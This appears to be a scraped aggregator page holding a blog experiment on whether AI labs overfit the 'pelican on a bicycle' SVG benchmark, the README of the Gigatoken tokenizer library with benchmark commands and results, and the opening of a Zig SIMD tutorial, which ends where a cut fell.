10 interesting stories served every morning and every evening.

Check out this chat

chatgpt.com

Get re­sponses tai­lored to you

Log in to get an­swers based on saved chats, plus cre­ate im­ages and up­load files.

Bento Slides

bento.page

Are AI labs pelicanmaxxing? – Dylan Castillo

dylancastillo.co

For the past few years, Simon Willison has tested every ma­jor LLM re­lease with the same prompt: Generate an SVG of a pel­i­can rid­ing a bi­cy­cle”.

What be­gan as a tongue-in-cheek bench­mark has be­come one of the most fa­mous in­for­mal bench­marks in AI. Simon’s pel­i­can-on-a-bi­cy­cle re­sults are of­ten among the most up­voted com­ments on Hacker News threads an­nounc­ing new re­leases from AI labs.

The bench­mark is now fa­mous enough that there’s plenty of dis­cus­sion about its use­ful­ness and about whether AI labs might be bench­maxxing1 on it. When bil­lions or even tril­lions of dol­lars are at stake, and a strong re­sult could help per­suade users, would­n’t it be tempt­ing to pel­i­can­maxx your model just a bit?

I wanted to find out, so I put to­gether a small ex­per­i­ment. I gen­er­ated 1,008 SVGs across seven fron­tier mod­els, scored them with an LLM judge, and used Claude Fable 5 for the analy­sis.

This ar­ti­cle pre­sents the re­sults. All the code is avail­able on Github.

How I tested it

I built a grid of 8 an­i­mals × 6 ve­hi­cles = 48 prompts, where the fa­mous prompt is one cell:

Animals: pel­i­can, flamingo, heron, ot­ter, rac­coon, an­te­lope, whale, cat

Vehicles: bi­cy­cle, uni­cy­cle, skate­board, scooter, plane, boat

Every prompt uses al­most iden­ti­cal phras­ing to Simon’s, only switch­ing the an­i­mal and ve­hi­cle. The an­i­mal and ve­hi­cle se­lec­tion was­n’t done in a very rig­or­ous man­ner, but I tried to vary both sim­i­lar­ity to the orig­i­nal prompt and dif­fi­culty. Flamingo and heron are quite sim­i­lar to pel­i­cans; cat, rac­coon, and ot­ter are easy cases; an­te­lope is hard; and whale is as dif­fer­ent as you can get.

I tested seven mod­els through OpenRouter: GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro. I gen­er­ated 3 sam­ples per prompt, at tem­per­a­ture 1.0, re­quest­ing the same rea­son­ing ef­fort from every model. That re­sulted in 1,008 SVGs.

Then I ran each im­age through a three-stage pipeline:

Rendering: Each SVG is ren­dered to PNG. If a model re­turns no SVG or one that fails to ren­der, I re­gen­er­ate un­til it pro­duces a valid one, and record the num­ber of at­tempts. There were only 11 re­tries across the 1,008 gen­er­a­tions.

Judging: GPT-5.6 Luna scores each im­age with 1 – 5 rat­ings for the an­i­mal, the ve­hi­cle, and the co­her­ence of the ac­tion. When I rank an­i­mals or ve­hi­cles be­low, I use the match­ing rat­ing on its own. When I need one num­ber per im­age, I use the av­er­age of the three, which I call the judge score.

Feature ex­trac­tion: For a more de­tailed analy­sis, I also passed each ren­dered im­age to Gemini 3.1 Flash-Lite, which recorded the an­i­mal and ve­hi­cle it rec­og­nized, which way the sub­ject faces, and an open-ended list of scene el­e­ments.

My hy­poth­e­sis is that if a lab trained on the bench­mark, it should show up in some com­bi­na­tion of the pel­i­can row scor­ing above what the an­i­mal de­serves, the bi­cy­cle col­umn scor­ing above what the ve­hi­cle de­serves, or the spe­cific pel­i­can-bi­cy­cle cell beat­ing both.

Evidence #1: The pel­i­cans on bi­cy­cles don’t look any bet­ter

Before any scor­ing, the sim­plest test is to look at the im­ages your­self. Pick a lab to see every­thing it drew, with the judge’s score un­der each im­age (click to open full size):

I looked through the im­ages my­self be­fore run­ning the analy­sis be­low. Nothing jumped out at me. I could­n’t find a case where the pel­i­can-bi­cy­cle im­ages looked no­tice­ably bet­ter than the rest of that mod­el’s grid. Maybe in GLM-5.2’s first sam­ple it felt slightly bet­ter than the rest, but that batch also pro­duced a pretty cool heron on a skate­board, so I can­not say for sure. Otherwise they look like the rest of what each model draws, and the labs that draw good pel­i­cans on bi­cy­cles also do a good job draw­ing other an­i­mal-ve­hi­cle com­bi­na­tions.

But this test is hard to repli­cate, and every­one will have a dif­fer­ent opin­ion. So I wanted some­thing more quan­ti­ta­tive, which is why I opted for the method de­tailed above.

Evidence #2: Labs are not bet­ter at draw­ing pel­i­cans

Here’s the mean an­i­mal rat­ing per an­i­mal, pooled across all mod­els:

The pel­i­can is 6th of 8, be­hind cat, whale, rac­coon, heron, and an­te­lope. If AI labs were train­ing on the bench­mark, you’d ex­pect pel­i­cans at the top. Instead they’re in the bot­tom half. All seven labs draw cats, whales, and rac­coons bet­ter than pel­i­cans.

Of course, a pel­i­can may sim­ply be harder to draw than a cat. A lab could train on pel­i­cans and still not push them past the easy an­i­mals, so this rank­ing alone can’t rule that out. I’ll ad­just for dif­fi­culty in Evidence #4.

Evidence #3: Labs are not bet­ter at draw­ing bi­cy­cles

Bicycles fare even worse. They sit sec­ond from last, in a near-tie with planes, which come in last:

If labs were train­ing on the bench­mark, you’d ex­pect bi­cy­cles near the top of this rank­ing. They’re not. However, the same caveat ap­plies here. A bi­cy­cle is harder to draw than a skate­board: it needs two match­ing wheels, a frame that reaches both axles, han­dle­bars, a seat, and ped­als. The judge flags a miss­ing or dis­con­nected one of those on 2/3 of the bi­cy­cle im­ages. You can train on bi­cy­cle im­ages and still not do a great job rel­a­tive to sim­pler ve­hi­cles.

One note on the plane, though: I should’ve picked airplane” in­stead of plane” be­cause mod­els of­ten read it geo­met­ri­cally. They drew the an­i­mal stand­ing on a flat sur­face in­stead of fly­ing an air­craft. The plane is the only ve­hi­cle where the fea­ture ex­trac­tor some­times found no ve­hi­cle at all (25 of 168 im­ages, against zero for the other five), and 20% of plane im­ages scored a 1 or 2 on the ve­hi­cle rat­ing, against 5% for bi­cy­cles and none at all for boats, scoot­ers, or skate­boards.

Evidence #4: Labs are not bet­ter at draw­ing pel­i­cans on bi­cy­cles, even ad­just­ing for dif­fi­culty

Put the two to­gether and the pelican on a bi­cy­cle” ends up near the bot­tom of the rank­ing, at #42 of 48:

But again, some com­bi­na­tions might be just harder to draw than oth­ers.

To ac­count for that, I fit a fixed-ef­fects re­gres­sion on all 1,008 im­ages: score ~ lab + an­i­mal × ve­hi­cle, plus per-lab in­ter­ac­tion terms for pel­i­can, bi­cy­cle, and the pel­i­can-bi­cy­cle cell, with ro­bust stan­dard er­rors. The an­i­mal × ve­hi­cle terms ab­sorb the in­her­ent dif­fi­culty of all 48 com­bi­na­tions. The in­ter­ac­tions mea­sure each lab’s bench­mark-spe­cific boost rel­a­tive to the av­er­age lab, with con­fi­dence in­ter­vals.

The re­sults:

Every per-lab pel­i­can ef­fect (the lab’s boost on pel­i­cans across all six ve­hi­cles) lands be­tween -0.11 and +0.14 judge points, and none comes close to sig­nif­i­cance (smallest p = 0.25).

The per-lab bi­cy­cle ef­fects (the lab’s boost on bi­cy­cles across all eight an­i­mals) run from Grok 4.5 at -0.18 (p=0.11) to Gemini 3.5 Flash at +0.27 (p=0.022). Only Gemini clears p < 0.05, and the seven point in both di­rec­tions.

No pel­i­can-bi­cy­cle cell ef­fect (the ex­tra boost on the spe­cific com­bi­na­tion, on top of the lab’s pel­i­can and bi­cy­cle ef­fects) clears p < 0.05. The largest pos­i­tive is GLM-5.2 at +0.35 (p=0.12), which is the one I men­tioned ear­lier. It’s the clos­est thing to a sig­nal in this ex­per­i­ment, but still within chance.

Here are the full per-lab es­ti­mates. A pel­i­can­maxxing lab would show dots to the right of the zero line across its whole row:

Every pel­i­can in­ter­val and every cell in­ter­val con­tains zero. Exactly one does­n’t: Gemini 3.5 Flash in the bi­cy­cle col­umn. But with 21 tests at p < 0.05, chance alone pre­dicts about one false pos­i­tive (21 × 0.05 ≈ 1.05), and one is ex­actly what came up. It also does­n’t sur­vive a mul­ti­ple-com­par­isons cor­rec­tion: the Bonferroni thresh­old across the 21 tests is 0.05/21 ≈ 0.002, and its p-value is 0.022. The full table of es­ti­mates and p-val­ues is in the repo.

But these in­ter­vals are wide, about ±0.6 judge points on av­er­age. Any boost smaller than that won’t be cap­tured by this test.

Evidence #5: The pel­i­can-bi­cy­cle scenes don’t look mem­o­rized

Some have sug­gested that the pel­i­can on a bi­cy­cle looks like a mem­o­rized com­po­si­tion, point­ing to re­cur­ring pat­terns such as the pel­i­can al­ways fac­ing right, or re­cur­ring el­e­ments like a sun or a scarf. So I wanted to know if this was true.

Direction: All 21 pel­i­can-bi­cy­cle im­ages, across all seven labs, face right. No other an­i­mal/​ve­hi­cle com­bi­na­tion does that.

However, fac­ing right is com­mon: 60% of all 1,008 im­ages do it. How com­mon de­pends on the an­i­mal and the ve­hi­cle, and bi­cy­cles are one of the two ve­hi­cles where it’s strongest:

Pelicans are also among the an­i­mals that tend to face right:

It’s hard to draw a pel­i­can or a bi­cy­cle fac­ing the viewer, so mod­els al­most al­ways draw them from the side, fac­ing left or right. That’s why so few of their im­ages are am­bigu­ous. Other com­bi­na­tions also come close to unan­i­mous: an­te­lope on a scooter and pel­i­can on a scooter land at 20 of 21, and heron on a bi­cy­cle at 19 of 21. So 21 out of 21 does­n’t seem like an out­lier.

Scene el­e­ments: I let the ex­trac­tor name any el­e­ment it saw in the im­age. These are the counts:

A mem­o­rized scene would show up as the same set of el­e­ments re­cur­ring pic­ture af­ter pic­ture. I went look­ing for that, and found some com­bi­na­tions do tend to pro­duce the same el­e­ments every time. Every sin­gle flamingo on a boat has a sun in it. Otters on planes wear scarves 38% of the time. Cats on bi­cy­cles get a bas­ket 38% of the time.

The pel­i­can on a bi­cy­cle does­n’t seem to have any­thing par­tic­u­larly dif­fer­ent about it. It just has some el­e­ments that ap­pear more fre­quently, like every other an­i­mal-ve­hi­cle com­bi­na­tion.

Limitations

Using a sin­gle LLM judge for scor­ing. Every score here comes from one model, GPT-5.6 Luna, look­ing at one im­age at a time. I did­n’t do much align­ment and did­n’t check how of­ten it agrees with it­self on a re-run. If a model just can’t judge a draw­ing re­li­ably, none of the num­bers above mean much. The judge is also from the same fam­ily as one of the con­tes­tants, GPT-5.6 Terra. However, every lab draws all 48 com­bi­na­tions, so a judge that hap­pens to like one lab’s style lifts that lab’s whole grid at once. But that does­n’t change the re­sults be­cause this analy­sis only cares about the within-lab dif­fer­ences.

SVGmaxxing. A lab that op­ti­mized SVG gen­er­a­tion as a whole (or a sub­set such as an­i­mals on ve­hi­cles) rises on every cell at once and looks iden­ti­cal to a lab that’s just good. Some labs, such as Google/DeepMind, openly do this. This ex­per­i­ment can’t de­tect that.

Limited bud­get. The whole ex­per­i­ment ran on roughly $80 of API cred­its. That capped it at 3 sam­ples per cell, a sin­gle judge, and 7 mod­els. This also pre­vented me from it­er­at­ing too much on the prompts and pipeline, as with the plane” vs. “air­plane” case.

Conclusion

Sorry, HN haters, but there’s lit­tle ev­i­dence that AI labs are pel­i­can­maxxing. Or at least they’re not do­ing it in a plainly ob­vi­ous man­ner.

Pelicans aren’t drawn any bet­ter than other an­i­mals. Bicycles aren’t drawn any bet­ter than other ve­hi­cles. And no lab draws the com­bi­na­tion bet­ter than its pel­i­cans and bi­cy­cles al­ready pre­dict. GLM-5.2 comes clos­est: it has the largest boost on the ex­act pel­i­can-bi­cy­cle cell, and its first pel­i­can-on-bi­cy­cle sam­ple caught my eye. But the ef­fect is small and not sig­nif­i­cant, so I would­n’t put too much weight on it.

The other thing that stands out is di­rec­tion in the scene com­po­si­tion. All 21 pel­i­can-bi­cy­cle im­ages face right, the only com­bi­na­tion in the grid where every im­age agrees. But it does­n’t seem that strange. Facing right is the norm across the ex­per­i­ment. Three other com­bi­na­tions land at 90% or above, and with 48 of them, I’m not sur­prised one reached 21 out of 21.

The more plau­si­ble story is SVGmaxxing like Google/DeepMind does. Other labs might be do­ing it more qui­etly. Sadly, this ex­per­i­ment can’t say who’s do­ing it. But at least you can sleep tonight know­ing that AI labs are not pro­duc­ing ter­abytes of pel­i­cans on bi­cy­cles just to trick Simon Willison.

If you want to look at the data your­self, the full pipeline is in the repo.

Footnotes

the prac­tice of op­ti­miz­ing AI mod­els to achieve high scores on pop­u­lar bench­marks.↩︎

the prac­tice of op­ti­miz­ing AI mod­els to achieve high scores on pop­u­lar bench­marks.↩︎

Citation

BibTeX ci­ta­tion:

@online{castillo2026, au­thor = {Castillo, Dylan}, ti­tle = {Are {AI} Labs Pelicanmaxxing?}, date = {2026 – 07-18}, url = {https://​dy­lan­castillo.co/​posts/​pel­i­can­maxxing.html}, langid = {en} }

For at­tri­bu­tion, please cite this work as:

Castillo, Dylan. 2026. Are AI Labs Pelicanmaxxing?” July 18. https://​dy­lan­castillo.co/​posts/​pel­i­can­maxxing.html.

GitHub - marcelroed/gigatoken: Language model tokenization at GB/s

github.com

~1000x faster than HuggingFace’s to­k­eniz­ers, drop-in re­place­ment.

Tokenize your text data at GB/s!

Note that both HF to­k­eniz­ers and tik­to­ken are al­ready run­ning mul­ti­threaded Rust!

What is Gigatoken?

Gigatoken is the fastest to­k­enizer for lan­guage mod­el­ing. It sup­ports a wide range of CPU hard­ware, and nearly all com­monly used to­k­eniz­ers. See the Benchmarks sec­tion for de­tailed through­put num­bers across to­k­eniz­ers and CPUs.

Installation

pip in­stall gi­ga­to­ken

Usage

Gigatoken can be used with its own API, or in com­pat­i­bil­ity mode with HuggingFace Tokenizers or Tiktoken.

Compatibility Mode (Easiest)

im­port gi­ga­to­ken as gt

# Minimum change from ex­ist­ing HuggingFace to­k­eniz­ers us­age (compatibility mode) hf_­to­k­enizer = … to­k­enizer = gt.To­k­enizer(hf_­to­k­enizer).as_hf()

# to­k­enizer can be used in the same con­texts as hf_­to­k­enizer to­kens = to­k­enizer.en­code_­batch([“This is a test string”, And here is an­other”])

# OR with tik­to­ken tik­to­k­enizer = … to­k­enizer = gt.To­k­enizer(tik­to­k­enizer).as_tik­to­ken()

# Now works like ex­ist­ing tik­to­ken to­k­eniz­ers to­kens = to­k­enizer.en­code_­batch([“This is a test string”, And here is an­other”])

A sub­stan­tial amount of ef­fort has been put into mak­ing sure the out­puts match ex­actly with what you would get with HuggingFace Tokenizers in this set­ting, but this is at a non-neg­li­gi­ble cost to per­for­mance. You can still ex­pect way faster per­for­mance across the board, but not quite the 1000x you will get with the Gigatoken API.

Gigatoken API (Fastest)

im­port gi­ga­to­ken as gt

to­k­enizer = gt.To­k­enizer(“Qwen/​Qwen3 – 8B”) # Accepts HF model names file_­source = gt.TextFile­Source([“owt_­train.txt”], sep­a­ra­tor=b”<|end­of­text|>“) to­kens = to­k­enizer.en­code_­files(file_­source)

Using the Gigatoken API lets the Rust im­ple­men­ta­tion read data di­rectly, and skips as much over­head as pos­si­ble while al­low­ing for max­i­mum par­al­lelism. Keep in mind that pass­ing Python data struc­tures through this API still in­curs the over­head of read­ing from Python.

Benchmarks

OWT (openwebtext) was cho­sen be­cause it’s roughly rep­re­sen­ta­tive of the text you get af­ter ex­trac­tion from CommonCrawl doc­u­ments. Gigatoken en­codes the whole file un-split, and is thus do­ing more work than the other to­k­eniz­ers to find the split bound­aries and au­to­mat­i­cally par­al­lelize. HuggingFace to­k­eniz­ers (encode_batch_fast) gets the first 100 MB and tik­to­ken (encode_ordinary_batch) the first 1 GB, both pre­split on <|endoftext|>. This is fair be­cause nei­ther of the com­pared to­k­eniz­ers do caching, mean­ing the speed is roughly uni­form through­out pro­cess­ing. Tiktoken rows are cur­rently only filled in for to­k­eniz­ers with of­fi­cial sup­port.

The slow­est rows are the SentencePiece-based to­k­eniz­ers, which are not well op­ti­mized in Gigatoken.

Each row is one dis­tinct to­k­enizer (identical vo­cab/​merges/​pre­to­k­enizer), mea­sured on a rep­re­sen­ta­tive repo. If you don’t see your to­k­enizer here, it’s likely based on some ex­ist­ing one. For in­stance:

Llama 3 / 3.1 / 3.2 — Llama 3 / 3.1 / 3.2, DeepSeek-R1-Distill-Llama, Hermes 3, Saiga, and other Llama-3 fine­tunes

Llama 3.3 — Llama 3.3, Llama-3.1-Nemotron-Nano-VL, SmolLM3, Kanana 1.5, jina-em­bed­dings-v5, Ultravox

Qwen 2 / 2.5 — Qwen 2 and 2.5 (incl. Coder and VL), Qwen3-Coder, Qwen3-VL, DeepSeek-R1 Qwen dis­tills, MiMo V2.5, MiniCPM-o 2.6, InternVL3

Qwen 3 — Qwen 3 (incl. Embedding and Reranker), Qwen2.5-Omni, Qwen3-VL-Embedding, MiMo V2.5 Pro, jina-reranker-m0, pplx-em­bed, MOSS-TTS, Zeta

DeepSeek V3 / R1 / V4 — DeepSeek V3 / V3.1 / V3.2, R1, V4 Flash and Pro, DeepSeek-VL2

GLM 4 — GLM 4.1V, 4.5, and 4.7

GLM 5 — GLM 5 / 5.2 and GLM-4.7-Flash

Nemotron 3 — Nemotron 3 Nano, Super, and Ultra

Kimi K2 — Kimi K2 / K2.5 / K2.6 / K2.7, Kimi-Linear, Kimi-VL, Moonlight

Phi-4-mini — Phi-4-mini and Phi-4-multimodal

TinyLlama / Phi-3 (Llama 2) — TinyLlama, Phi-3-mini, Phi-3.5-mini and Phi-3.5-vision (the Llama 2 vo­cab)

Gemma 3 — Gemma 3 (270M–27B) and EmbeddingGemma

Gemma 4 — Gemma 4 (dense, MoE, and E-series) and DiffusionGemma

FAQ

Q: Did you just way over-op­ti­mize for a spe­cific CPU and to­k­enizer? How is it so fast?

No, I way over-op­ti­mized for every com­bi­na­tion of these! The re­sults are very con­sis­tent across CPUs (modern x86 and ARM), and across spe­cific to­k­eniz­ers.

The ma­jor im­prove­ments are in op­ti­miz­ing heav­ily an im­ple­men­ta­tion that usu­ally is out­sourced to a Regex en­gine (pretokenization) us­ing SIMD, min­i­miz­ing branch­ing and other tricks, as well as heav­ily op­ti­miz­ing caching of pre­to­ken map­pings (if a word has been seen be­fore, look it up its en­coded to­kens ef­fi­ciently). Caching is a very hard prob­lem in this do­main since the cache grows very quickly, and pre­to­ken dis­tri­b­u­tions are very long-tailed.

Some gains are also achieved from min­i­miz­ing in­ter­ac­tions with Python, and avoid­ing com­mu­ni­ca­tion be­tween threads.

Q: How can I quickly check if my to­k­enizer is sup­ported?

You can try it out with­out in­stalling any­thing! The fol­low­ing com­mand will val­i­date and time to­k­eniza­tion for a given HuggingFace model repo:

# Download your data wget https://​hug­ging­face.co/​datasets/​stan­ford-cs336/​owt-sam­ple/​re­solve/​main/​owt_­train.txt.gz # Just an ex­am­ple! gun­zip owt_­train.txt.gz

uvx –with to­k­eniz­ers gi­ga­to­ken bench openai-community/gpt2’ owt_­train.txt \ –validate –doc-separator <|endoftext|>”

cpu: Apple M4 Max, 16 cores gi­ga­to­ken: 1.432 s | 11920.51 MB at 8327.05 MB/s | 2701.65 Mtok at 1887.23 Mtok/s hf: 16.250 s | 100.00 MB at 6.15 MB/s | 22.76 Mtok at 1.40 Mtok/s gi­ga­to­ken is 1353.13x faster than hf val­i­da­tion OK: 20401 doc­u­ments match

cpu: AMD EPYC 9565 72-Core Processor, 144 cores, 2 sock­ets gi­ga­to­ken: 0.486 s | 11920.51 MB at 24532.45 MB/s | 2701.65 Mtok at 5564.94 Mtok/s hf: 4.033 s | 100.00 MB at 24.80 MB/s | 22.76 Mtok at 5.63 Mtok/s gi­ga­to­ken is 989.21x faster than hf val­i­da­tion OK: 20401 doc­u­ments match

At the rates we see on the EPYC CPU, you could to­k­enize the en­tirety of Common Crawl (often con­sid­ered to be the en­tire in­ter­net, 130 tril­lion to­kens) in just un­der 6.5 hours!

This ex­am­ple uses the train sam­ple from this dataset, and the CLI by de­fault sub­sets to the first 100MB of the file for val­i­da­tion and com­par­i­son with HF. You can see help for these flags with uvx gi­ga­to­ken bench –help. You might need to run your com­mands twice on ma­cOS to get a good read­ing, since the first run will al­ways per­form a se­cu­rity scan, which will slow down the Rust code.

Q: I’ve found a mis­match/​slow use-case, is this ex­pected?

Most likely not! Despite rea­son­ably wide test­ing I don’t have every use-case on hand, so please re­port any­thing you find in a GitHub Issue so I can ad­dress it as soon as pos­si­ble.

Citation

If you use Gigatoken in your re­search, please cite it as:

@software{roed2026gigatoken, au­thor = {Marcel R{\o}d}, ti­tle = {{G}igatoken: SIMD and Cache Hierarchies for 1000x Faster Byte-Pair Encoding Tokenization on Modern CPUs}, url = {https://​github.com/​marcel­roed/​gi­ga­to­ken}, year = {2026}, }

Known Issues

Python it­er­a­tion is han­dled in Rust, but uses ABI3, which is slower than us­ing in­ter­nal ver­sion-spe­cific CPython APIs. In the fu­ture I in­tend to spe­cial­ize for each Python ver­sion to cut this over­head. Early ex­per­i­ments show a 2x speed im­prove­ment for over­head-bound cases.

File sinks are not yet im­ple­mented in the Gigatoken API.

WordPiece is not yet sup­ported.

SentencePiece-based to­k­eniza­tion is not nearly as op­ti­mized as the more com­mon BPE to­k­eniz­ers. This is low pri­or­ity for now since mostly Google mod­els/​BERT style mod­els use SentencePiece.

Windows has not been tested much, so for now pre­fer us­ing WSL.

Implementing the user-fac­ing API

Widening of com­pat­i­bil­ity, for in­stance gen­er­al­iz­ing and port­ing the pre­to­k­enizer im­ple­men­ta­tions to sup­port more to­k­eniz­ers, less in­ter­est­ing fea­tures like padding/​trun­ca­tion/​uni­code nor­mal­iza­tion

Porting SIMD strate­gies be­tween AVX512/AVX2/NEON

Final pro­fil­ing stages and the last ~4x worth of per­for­mance from elim­i­nat­ing branch­ing and im­prov­ing the pre­to­ken cache hi­er­ar­chy

Refactoring and code reuse

Everyone Should Know SIMD

mitchellh.com

SIMD has a rep­u­ta­tion for be­ing com­plex. I’ve met many very good soft­ware en­gi­neers who dis­miss it as some­thing too com­plex to learn or a niche op­ti­miza­tion meant for only the high­est-per­for­mance soft­ware, not use­ful in every­day pro­gram­ming.

I think that’s wrong. SIMD can be sim­ple to un­der­stand1, and com­mon process N val­ues at a time” SIMD code to speed up a naive for loop al­most al­ways fol­lows the same gen­eral shape. Once you learn the ba­sics, writ­ing SIMD is just about as easy as a for loop. And when it’s not, it’s usu­ally a good sign to skip it for now.

Every de­vel­oper should know at least that much SIMD.

This post uses Zig for ex­am­ples but is a gen­eral piece that ap­plies to any pro­gram­ming lan­guage. Support for SIMD in­struc­tions varies by pro­gram­ming lan­guage and I hope that more pro­gram­ming lan­guages ex­pose these generic con­cepts in the fu­ture!

I hate that I have to do this for every post now, but I also want to note this was com­pletely hand-writ­ten with no AI as­sis­tance.

Background: What Is SIMD?

The Common Shape

A Real Example

Step 1: Broadcast Constants

Step 2: Loop One Vector at a Time

Step 3: Perform the SIMD Operation

Step 4: Reduce the Vector Result

Step 5: Finish with the Scalar Tail

Recap: The Common Shape

Why Can’t the Compiler Do This?

Everyone Should Know SIMD

Background: What Is SIMD?

If you al­ready know what SIMD is, skip this sec­tion.

SIMD al­lows a CPU to op­er­ate on mul­ti­ple val­ues in par­al­lel. For ex­am­ple, in­stead of com­par­ing one byte at a time, a CPU can com­pare 4, 8, or even more bytes with a sin­gle in­struc­tion.

If you ever see loops like this in your code:

for (byte in bytes) { /* … */ } for (character in string) { /* … */ } for (value in ar­ray) { /* … */ }

There is an op­por­tu­nity to use SIMD. SIMD turns those into this:

for (8 byte chunk in bytes) { /* … */ }

This re­sults in a lo­cal­ized speedup that di­rectly maps to the par­al­lelism: you process data 4x, 8x, or even faster.

The only real re­quire­ment for this to pay off is that you need to be reg­u­larly pro­cess­ing a large enough num­ber of bytes. If you’re do­ing these for loops across data that is only ever a hand­ful or dozens of bytes, it’s not worth it. But if this is it­er­at­ing over hun­dreds, thou­sands, mil­lions of bytes, the pay­off will be huge.

That’s the ba­sics. Projects such as sim­dutf and simd­j­son take this to an ex­treme and use SIMD tech­niques that can be dif­fi­cult to un­der­stand. But you do not need to write al­go­rithms like those to ben­e­fit from SIMD. The com­mon case is dra­mat­i­cally sim­pler.

The Common Shape

The com­mon process N val­ues at a time” SIMD code fol­lows the same five steps:

Broadcast any con­stants you need and ini­tial­ize vec­tor ac­cu­mu­la­tors, if any.

Loop over in­put one vec­tor-width chunk at a time.

Perform the com­par­i­son or arith­metic across all lanes in par­al­lel.

Reduce or store the vec­tor re­sult as needed.

Handle the re­main­ing el­e­ments with a scalar tail. A scalar tail is just your nor­mal loop from be­fore vec­tor­iz­ing, but it only processes the re­main­der that does­n’t fit into a full vec­tor.

As you do this more and more, you’ll be­gin to nat­u­rally de­com­pose every for loop into these five steps and writ­ing SIMD be­comes nearly as nat­ural as writ­ing a scalar loop.

A Real Example

Let’s look at a real ex­am­ple from Ghostty. We’ll look at the scalar im­ple­men­ta­tion, the SIMD im­ple­men­ta­tion, and then map it back to the com­mon shape above.

I have a slice of de­coded code­points that I want to con­sume un­til I see a value at or be­low 0xF (a C0 con­trol char­ac­ter).2 Terminals are mostly plain char­ac­ters to be printed, so we try to batch all those to­gether. So this loop finds the end of the next print­able run as quickly as pos­si­ble.

The scalar loop is one line:

while (end < cps.len and cps[end] > 0xF) end += 1;

It processes one code­point at a time. It is easy to un­der­stand.

Here is the generic vec­tor ver­sion with no CPU-specific in­trin­sics3 and no com­ments. I will ex­plain it in de­tail later.

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const thresh­old: V = @splat(0xF); while (end + lanes <= cps.len) : (end += lanes) { const val­ues: V = cps[end..][0..lanes].*; const greater_than_thresh­old = val­ues > thresh­old; if (@reduce(.And, greater_than_thresh­old)) con­tinue; const mask: std.meta.Int(.un­signed, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break; } }

while (end < cps.len and cps[end] > 0xF) end += 1;

12 more lines of code.

This can im­prove the loop’s through­put by up to 4x with ARM NEON (including Apple Silicon), 8x with AVX2 (most mod­ern x86 CPUs), and 16x with AVX-512 (some Intel CPUs and AMD Zen 4 and newer).

In real-world end-to-end through­put from ter­mi­nal pro­gram to fi­nal­ized ter­mi­nal state on an AVX2 Intel desk­top, this was more like a 5x speedup. You al­ways lose some of the ideal speedup due to the other stuff around the SIMD code, but… that’s still 5x!

Okay, now I un­der­stand that those 12 lines are go­ing to look re­ally alien to some­one not fa­mil­iar with the con­cepts. So now let’s back up and ex­plain it step by step, map­ping it di­rectly to the shape pre­vi­ously men­tioned.

Step 1: Broadcast Constants

Let’s start with the first three lines:

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const thresh­old: V = @splat(0xF);

simd.lanes(u32) is a helper in Ghostty that re­turns the num­ber of u32 val­ues the tar­get CPU can process at once. These in­di­vid­ual val­ues are called lanes. On ARM this re­turns 4, AVX2 re­turns 8, and AVX-512 re­turns 16. If the tar­get does­n’t have a vec­tor size we want to use, it re­turns null and we skip all of this code and do zero SIMD work.

@Vector(lanes, u32) cre­ates the vec­tor type. If lanes is 8, then V is a sin­gle value con­tain­ing eight u32 val­ues that the CPU can op­er­ate on in par­al­lel. And so on.

Finally, we need to com­pare every value to 0xF. A vec­tor com­par­i­son re­quires a vec­tor on both sides, so @splat(0xF) copies, or broad­casts, 0xF into every lane. The re­sult is a vec­tor that looks like this:

{ 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF }

This is step 1: pre­pare the vec­tor type and broad­cast any con­stants. Some al­go­rithms also ini­tial­ize a vec­tor ac­cu­mu­la­tor here, but this al­go­rithm does­n’t need one.

Step 2: Loop One Vector at a Time

Next, we loop over one com­plete vec­tor at a time:

while (end + lanes <= cps.len) : (end += lanes) { const val­ues: V = cps[end..][0..lanes].*;

If lanes is 8, we only en­ter the loop when at least eight val­ues re­main. Inside the loop, we load those eight val­ues into the vec­tor val­ues. At the end of every loop, end += lanes moves for­ward by eight val­ues in­stead of one.

The re­quire­ment for a com­plete vec­tor is im­por­tant. If only five val­ues re­main, we can’t load an eight-lane vec­tor. There are var­i­ous tricks to han­dle this, but we do the easy thing and han­dle them via our scalar tail, which I’ll ex­plain later in step 5.

This is step 2: load and loop over the in­put one vec­tor-width chunk at a time. You can see the lane-count speedup here!

Step 3: Perform the SIMD Operation

Now we per­form the com­par­i­son:

const greater_than_thresh­old = val­ues > thresh­old;

Both val­ues and thresh­old are vec­tors, so this maps to a vec­tor op­er­a­tion (a lit­eral vec­tor CPU in­struc­tion). The one > com­pares every lane in val­ues to every cor­re­spond­ing lane in thresh­old. If there are eight lanes, this is equiv­a­lent to per­form­ing the scalar com­par­i­son cps[end] > 0xF eight times, but it does it in one CPU in­struc­tion in­stead.4

The re­sult is an­other vec­tor with one boolean per lane. Conceptually, it looks some­thing like this:

val­ues: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } thresh­old: { 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF } greater_than_thresh­old: { true, true, true, false, true, true, true, true }

This is the ac­tual SIMD op­er­a­tion. There is no ex­plicit in­ner loop. The > op­er­a­tor ap­plies to every lane in par­al­lel.

Comparisons are only one ex­am­ple. This could be ad­di­tion, mul­ti­pli­ca­tion, min­i­mum, max­i­mum, or any other op­er­a­tion sup­ported by the vec­tor type. The point is the code still has the same shape.

Step 4: Reduce the Vector Result

We now have a vec­tor of booleans, but the orig­i­nal loop needs to know the lo­ca­tion of the first value at or be­low 0xF.

First, let’s han­dle the com­mon case where every value is above 0xF:

if (@reduce(.And, greater_than_thresh­old)) con­tinue;

@reduce(.And, …) com­bines every boolean us­ing and and re­turns a sin­gle boolean. If every lane is true, we con­tinue and process the next vec­tor. In our ex­am­ple, lane 3 is false, so @reduce re­turns false and we fall through to find ex­actly which lane failed.

If any lane is false, then we need to find ex­actly which lane failed:

const mask: std.meta.Int(.un­signed, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break;

@bitCast turns the vec­tor of booleans into an in­te­ger with one bit per lane. A 1 bit means the value was greater than 0xF and a 0 means it was­n’t. We in­vert the mask so failed com­par­isons are 1, and then @ctz counts the num­ber of zero bits be­fore the first fail­ure. That count is the in­dex of the first fail­ing lane.

We add that in­dex to end and break be­cause we found the con­trol char­ac­ter.

Using the same val­ues from step 3, we can see this trans­for­ma­tion per lane:

